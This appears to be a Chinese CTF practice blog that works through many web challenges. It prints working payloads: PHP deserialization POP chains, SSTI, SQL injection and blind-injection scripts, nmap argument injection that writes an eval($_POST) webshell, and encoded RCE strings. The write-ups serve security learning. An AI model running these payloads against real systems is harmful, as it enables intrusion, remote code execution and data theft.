前言 近期打的比赛老是被吊起来打,现在依旧时菜鸟一枚,那咋办??猛猛刷题!!!
WEB [MRCTF2020]Ezpop 题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
首先是在注释中,提示了flag在flag.php中,然后在Modifier 类中有include函数,那么最后就是就是用php伪协议读取flag.php,payload
1 php://filter/convert.base64-encode/resource=flag.php
如果要执行apppend函数我们就要触发_invoke()这个魔术方法,也就是当 把Modifier 对象当作函数来调用 时才会执行这个魔术方法,接下来看Test类
1 2 3 4 5 public function __get ($key ) { $function = $this ->p; return $function (); } }
这里有return function()也就是只要$this->p=new Modifier();
写一步就是要触发_get(),当访问 Test 对象不存在的属性时就会执行这个魔术方法,这时候发现show这个类中
1 2 3 public function __toString ( ) { return $this ->str->source; }
这里返回了$this->str这个对象的source属性,这要$this->str=new Test();在Test类中是没有source属性的,就执行了_get()。接下来就是要触发_toString()函数
1 2 3 public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ;
这里有echo正好可以触发_toString(),然后$this->source是自身对象,反序列化时会执行_construct(),exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a =new Modifier ();$b =new Test ();$b ->p=$a ;$c =new Show ();$c ->str=$b ;$c ->source=$c ;$payload =urlencode (serialize ($c ));echo $payload ;?>
base64解码即可
[MRCTF2020]PYWebsite 授权逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <script > function enc (code ){ hash = hex_md5 (code); return hash; } function validate ( ){ var code = document .getElementById ("vcode" ).value ; if (code != "" ){ if (hex_md5 (code) == "0cd4da0223c0b280829dc3ea458d655c" ){ alert ("您通过了验证!" ); window .location = "./flag.php" }else { alert ("你的授权码不正确!" ); } }else { alert ("请输入授权码" ); } } </script >
验证码得md5值给出来了,查询一下
验证之后有
这里提示ip,伪造ip
[安洵杯 2019]easy_web 这里抓包看一下
试了很多命令都别ban了,然后看那个img后面的参数,cybershef解码下,两次base64,一次hex
一开始用随波逐流分析的是错的,猜测是文件读取,逆向编码
读取一下index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixiï½ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?>
img参数可以读取文件,但是文件名不能包含flag,所以只能进行rce,这里post得两个参数考察的是md5强碰撞,
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/<path:shrine>' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
在shrine路由下存在ssti
但是移除了所有的()那就不能用rce了,但是上面提到把flag写入了 app.config[‘FLAG’],我们只要读取 app.config[‘FLAG’]就可以
paylaod
1 {{url_for.__globals__.current_app.config.FLAG}}
[安洵杯 2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
这是一道php反序列化字符串逃逸+文件读取得题目,首先分析代码,定义了一个filter()函数,作为过滤器,为后面的字符串逃逸做准备,然后就是清楚已有session,初始化session.还有关键代码extract($_POST); 用于变量覆盖,接下来是代码得关键
1 2 3 4 5 if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }
如果没有设置img_path参数,默认的是 $_SESSION['img'] = base64_encode('guest_img.png'); ,但是如果有这个参数,这个img得值就不是base64编码了,而是其sha1值,但是在代码读取文件时
1 echo file_get_contents (base64_decode ($userinfo ['img' ]));
读取的是base64解码内容,所以我们无法直接通过img_path参数直接进行文件读取,此时需要进行字符串逃逸。下面还有提示看phpinfo得到信息
我们要读取的文件就是 d0g3_f1ag.php,总体得思路就是通过覆盖原有的变量然后用过滤器过滤之后进行字符串逃逸。我们要覆盖的时session,先分析原本的session
1 2 3 4 5 $_SESSION = [ 'user' => 'guest', // 固定值 'function' => 'show_img', // 读取文件需要使用show_image 'img' => 'Z3Vlc3RfaW1nLnBuZw==' // guest_img.png的base64编码 ];
序列化之后是
1 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:8:"show_img";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
d0g3_f1ag.phpbase64编码之后是ZDBnM19mMWFnLnBocA==,我们希望的的是
1 ;s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们插入恶意的payload
1 2 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:70:";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个时候看到第一个;}就停止解析了,后面的;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";就逃逸出去了,接下来看前面,我们要逃逸前面的冗余结构s:8:"function";s:70:"但是解析时会算上”;最后是";s:8:"function";s:70:一共是22个字符,可以多加两个字符凑4的倍数
1 2 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:72:"aa;s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样构造是不行的,可以看到结构是不对的,修改构造方法,开头要是”;,再添加一个a凑4的倍数
1 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:72:"a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样被吞的字符串是";s:8:"function";s:72:"a长度是24,4的倍数,用6个flag就行。最后的payload
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
flag在/d0g3_fllllllag,base64编码一下L2QwZzNfZmxsbGxsbGFn,长度也是20,修改一下即可
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:8:"show_img";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这个让Gemini3pro一会就分析了,但是我自己构造还是花了很长时间,一般的反序列化题目基本上都会被ai一把梭,但还是得自己理解,不能当脚本小子,最好还是自己构造一遍。
[BSidesCF 2019]Kookie 根据提示依admin身份登入,添加Cookie:username=admin
[网鼎杯 2020 朱雀组]Nmap 首先在源码得到提示
1 <!-- flag is in /flag -->
然后就行测试,输入127.0.0.1 ;ls会被转义
输入1 '这时变为了
这里其实是就是考察escapeshellarg()+escapeshellcmd()这前面题目[BUUCTF 2018]Online Tool中考察了这个知识点,不过这题题没有给源码,要自己测试,escapeshellarg(),escapeshellcmd()这两个函数都是通过转义字符避免命令执行,但是两个一起用就会出现问题简单说一下这两个函数把
1.escapeshellarg() :会将字符串首位添加上单引号,字符串中得引号变为’\‘’.
1 hello'world->'hello'\''world'
2.escapeshellcmd() :转义 shell 命令中的特殊元字符
1 ls | grep test->ls \| grep test
我们输入123’A
第一步处理后
第二步之后
由于最后一个单引号转义,这个就是一个字符,此时这个字符串就被分4个部分
1 2 3 4 1. 123 2.\\->第一个\转义了后面那个,最后别识别为\ 3.''这两个单引号别没有字符为空 4.A' //这里的'是普通字符
最后输出就是123\A’
然后就是namp得一些用法
1 2 3 4 5 6 7 nmap -iL <目标文件>`:从文件中读取IP地址列表进行扫描。-iL 读取文件内容,以文件内容作为搜索目标 -o 输出到文件 nmap -oN <输出文件> <目标IP>`:将扫描结果以普通文本格式保存到文件中 nmap <?=@eval($_POST[1]);> -oG shell.php 将一句话木马写入到文件中
这也就是这一道题的两种解法,一种是命令执行,一种是写入shell
先说第一种把,paylaod
1 127.0.0.1 ' -iL /flag -o aa
根据上面分析得可以知道,单引号后面没有引号包裹可以进命令执行,最后写入文件名为aa’
另一种是写入shell,php别过滤了,用短标签
1 127.0.0.1 ; ' <?=eval($_POST["cmd"]);?> -oG 2.phtml
[NPUCTF2020]ReadlezPHP
在这看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);
关键点很明显了,就是echo $b($a)这个格式一眼就是无参rce,先测试一下
1 O:8:"HelloPhp":2:{s:1:"a";s:4:"1111";s:1:"b";s:8:"var_dump";}
这里在请求体中构造命令,首先先读取一下http请求体中的所有信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class HelloPhp { public $a = "var_dump(getallheaders())" ; public $b = "assert" ; } $exp = new HelloPhp ();echo serialize ($exp )."\n" ;echo urlencode (serialize ($exp ));?>
这里解释一下要使用assert(var_dump(getallheads())),而不能是直接使用var_dump(getallheads()),如下图所示
这里没有执行getallheads()而是直接打印了,这就是使用assert得原因,把参数当作php代码执行,还有这里使用eval也是不行的。
在 PHP 中,eval 并不是一个真正的“函数”(Function),而是一个语言结构 (Language Construct)。其他常见的语言结构还包括 echo、print、isset 等。
PHP 的语法限制: PHP 明确规定,像 $b($a) 这种被称为“可变函数”的动态调用方式,不能 用来调用语言结构。——Gemini
我们只需要使用end函数读取最后一条信息,并且是我们可控的,执行phpinfo
1 2 3 4 5 6 7 8 9 <?php class HelloPhp { public $a = "eval(end(getallheaders()))"; // 要执行的命令 public $b = "assert"; // 要执行的函数 } $exp = new HelloPhp(); echo serialize($exp)."\n"; echo urlencode(serialize($exp)); ?>
后来才发现
1 2 3 4 5 6 7 8 9 <?php class HelloPhp { public $a = "phpinfo()" ; public $b = "assert" ; } $exp = new HelloPhp ();echo serialize ($exp )."\n" ;echo urlencode (serialize ($exp ));?>
直接这样就行了这次真是🤡🤡🤡
[CISCN2019 华东南赛区]Web11 看题目使用的是 Smarty模板,使用{if}标签可以执行命令
[强网杯 2019]高明的黑客 这一题就是从给的附件中寻找到可以使用shell,看了几个文件
1 2 3 4 5 6 7 8 <?php $_GET ['jVMcNhK_F' ] = ' ' ;system ($_GET ['jVMcNhK_F' ] ?? ' ' );$_GET ['tz2aE_IWb' ] = ' ' ;echo `{$_GET ['tz2aE_IWb' ]}`;$_GET ['cXjHClMPs' ] = ' ' ;echo `{$_GET ['cXjHClMPs' ]}`;
虽然可以传参,但是会被覆盖为空格,写一个脚本寻找shell参考脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import osimport reimport threadingimport requestsfilepath = r"D:\Applications\CTF\phpstudy_pro\WWW\src" uri = "http://127.0.0.1/src/" os.chdir(filepath) files = os.listdir(filepath) syn = threading.Semaphore(100 ) def getAnswer (file ): syn.acquire() print ("--filename:" + file) f = open (file, "r" ) content = f.read() f.close() gets = re.findall(r"\$_GET\[\'(.*?)\'\]" , content) res = re.compile (r"\$_POST\[\'(.*?)\'\]" ) posts = res.findall(content) parama = {} data = {} url = uri + file for m in gets: parama[m] = "echo xxxxxx" for n in posts: data[n] = "echo xxxxxx" resp_p = requests.post(url=url, data=data) resp_p.encoding = 'utf-8' p_text = resp_p.text resp_g = requests.get(url=url, params=parama) resp_g.encoding = 'utf-8' g_text = resp_g.text resp_g.close() resp_p.close() if "xxxxxx" in p_text: print ("----post-" ) for i in posts: resp = requests.post(url=url, data={i: "echo xxxxxx;" }) if "xxxxxx" in resp.text: print ("-------文件名:" + file + "参数名:" + i) exit(0 ) resp.close() if "xxxxxx" in g_text: for i in gets: resp = requests.get(url=url + "?" + i + "=echo xxxxxx;" ) if "xxxxxx" in resp.text: print ("-------文件名:" + file + "参数名:" + i) exit(0 ) resp.close() syn.release() if __name__ == '__main__' : for file in files: thread = threading.Thread(target=getAnswer, args=(file,)) thread.start()
最后找到文件xk0SzyKwfzw.php,然后命令执行?Efa5BVG=cat%20/flag
[ASIS 2019]Unicorn shop
进去发现一共是有这4种商品,购买前三种都是会回显Wrong commodity!只有购买第四种才会回显钱不够,并且之只能输入1个字符这第4个商品价格也和其他得不一样,看源码注释
1 <meta charset="utf-8"><!--Ah,really important,seriously. -->
结合题目名分析,utf-8,还有unicode编码,就是前端和后端编码差异也就是找一个字符,解析成 Unicode 字符后unicodedata.numeric()读取数值大于1337就行,使用’万‘这个汉字,url编码为%E4%B8%87
[SWPU2019]Web1 经过测试题目存在xss,首先写入恶意广告内容,
1 <script>alert(123456)</script>
此时处于待验证状态,只要刷新网页,就会出现弹窗,
弄了半天也思路,看wp才知道根本就不是xss,考察的是sql注入,🤡🤡🤡,
这里广告名为1’,然后查看广告详情
看报错得知是单引号闭合,当输入1’–+回显有敏感词汇,说明存在waf,经过测试过滤了空格,or,information_schema,order,首先判断有几列,没有order by,只能union一个一个试,这个出题人真是恶趣味啊,一下要试到22,虽然我是看wp知道的…
1 2 -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到回显位,接下看来看数据库
1 -1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
接下来查表,information_schema这个表不能用可以用mysql.innodb_table_stats这个表代替,
1 -1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
接下来要使用无列名注入,这个user表位3列可以慢慢试
1 -1'/**/union/**/select/**/1,(select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
[BSidesCF 2019]Futurella flag竟然在源码里
[极客大挑战 2019]FinalSQL 题目提示了这一题应该考察盲注
这里查看5得到的提示,接下来看6
参考脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport timeurl = 'http://8d08c7b6-e6f3-4df0-b71c-a2a397891bab.node3.buuoj.cn/search.php?id=' i = 0 flag = '' while True : i += 1 begin = 32 end = 126 tmp = (begin + end) // 2 while begin < end: print (begin, tmp, end) time.sleep(0.1 ) payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i, tmp) r = requests.get(url+payload) if 'Click' in r.text: begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 flag += chr (tmp) print (flag) if begin == 32 : break
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
这里有几条限制,一是字符串长度小于80,还定义了黑名单,白名单,只能是使用白名单的函数,然后就是要构造了,看了几篇wp用了几种方法,记录一下
1.payload
1 ?c=$pi=(base_convert(37907361743,10,36))(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat%20/flag
主要是使用了base_convert(),dechex(),base_convert支持范围为2-36进制,可以将十进制数字转换为十六进制。dechex()函数可以将十进制转换为十六进制
1 base_convert(37907361743,10,36))(dechex(1598506324)—> hex2bin("5f474554")——>_GET
$pi=_GET,$$PI=$_GET,这一题php版本是7.3.9,在7.4之前数组数组下标支持arr[key],att{key}.
1 2 3 $$pi{pi}` → 等价于 `$_GET{pi}` → 等价于 `$_GET['pi'] $$pi{abs}` → 等价于 `$_GET{abs}` → 等价于 `$_GET['abs'] 最后执行$_GET['pi']($_GET['abs'])
这样就可以进行rce了
第二种是利用请求头进行rce,
paylaod
1 $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
这里构造的很巧妙是在构造getallheaders()使用的是30进制,如果用36进制,那这个十进制数字就超过了定义的最大整数,最后的字母到t,对应30进制就不会超过范围,这个最后执行的是exec(getallheaders(){1})
[极客大挑战 2019]RCE ME 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen ($code )>40 ){ die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file (__FILE__ ); }
命令长度小于40,过滤了数字字母,php版本为7.0.33,可以使用异或,先看phpinfo()
1 ?code=(~%8f%97%8f%96%91%99%90)();
这里是禁用函数包含 system、exec、shell_exec、popen、proc_open、passthru 等,无法命令执行就写马
1 2 3 ?code=('assert')('eval($_POST['1'])') ?code=(~%9e%8c%8c%9a%8d%8b)(~%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%ce%d8%a2%d6);
蚁剑连接,根目录下的flag是空的,但是还有个readflag
这里还有加载插件在插件市场下载
如果加载不了插件市场大概率网络问题,可搜索文章解决。然后使用改插件
[De1CTF 2019]SSRF Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if (not os.path.exists(self .sandbox)): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self .checkSign()): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False
首先分析代码有几个功能,提供 /geneSign 接口生成签名,提供 /De1ta 接口执行 scan/read 操作(远程 URL 读取、文件读取)
还有waf,禁用了gopher,还有file协议,然后看读取文件
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
urllib.urlopen() 有一个特性:如果传入的是一个本地路径(如 /etc/passwd 或 /flag),它会默认当作本地文件读取,而不需要显式声明 file:// 协议。因此,直接传入 /flag 即可绕过 WAF。
在读文件之前还需要生成签名和验证签名,看一下他们的逻辑
1 2 def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
1 md5( secret_key + param + action )
1 2 3 4 5 6 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
这里的action=scan是固定死了,接下开看验证逻辑
1 2 3 4 5 def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
验证哦我们传的cookie,与他生成的是否相等,这里的漏洞就在于生成签名时param与action直接拼接,中间并没有符号,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (self .checkSign()): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result
这两个if语句是并列关系,也就是条件允许我们可以先先写入再读取,构造恶意签名
1 ?param=/flagread action=scan
生成的签名为
1 md5(secret_key/flagreadscan)
我们在验证时
1 ?param=/flag action=readscan
这是签名为
1 md5(secret_key/flagreadscan)
就会先写入再读取。
先获得签名
然后读取文件
这里读取为空,证明flag不在/flag,尝试后是在flag.txt
第二种方法就是哈希扩展攻击,具体原理不在多说,
这里的md5值时md5(secret_keyflag.txtscan),我们想要的是md5(secret_keyflag.txtscanread),使用hashdump
这里一定要注意把\x替换为%,一定要注意!!!!,
[BJDCTF2020]EasySearch 刚还是以为是sql注入,尝试后发先不行,扫目录index.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
代码分两个部分,先验证md5
1 2 3 4 5 if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>";
password的前6位是6d0bc1,爆破一下
登入一下
给出了生成文件名这里存在ssti,格式为
flag不在根目录,环境变量也没有,找一下flag
[WUSTCTF2020]颜值成绩查询 成绩查询了考察的是sql注入,初步判断是数字型注入
经过判断这个是过滤了空格的
使用/**/绕过空格
接下来就是盲注了,参考脚本
